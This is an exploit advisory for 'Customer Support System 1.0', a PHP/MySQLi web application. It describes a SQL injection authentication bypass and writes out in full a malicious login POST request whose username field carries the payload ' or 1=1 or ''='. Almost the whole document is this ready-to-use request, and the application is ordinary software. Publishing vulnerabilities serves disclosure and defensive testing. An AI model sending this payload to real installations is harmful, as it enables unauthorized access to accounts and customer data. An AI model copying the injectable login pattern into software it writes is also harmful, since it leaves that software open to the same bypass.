# Title: Customer Support System 1.0 - Authentication Bypass # Date: 2020-11-11 # Exploit Author: Ahmed Abbas # Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 # Description : Authentication Bypass # Vulnerability Details: [+] A SQL injection vulnerability in Customer Support System 1.0 allows remote unauthenticated attackers to bypass the authentication process via username and password parameters. # Malicious POST Request to https://TARGET POST /customer_support/ajax.php?action=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 62 Origin: http://localhost Connection: close Referer: http://localhost/customer_support/login.php Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo username=' or 1=1 or ''='&password=password&type=1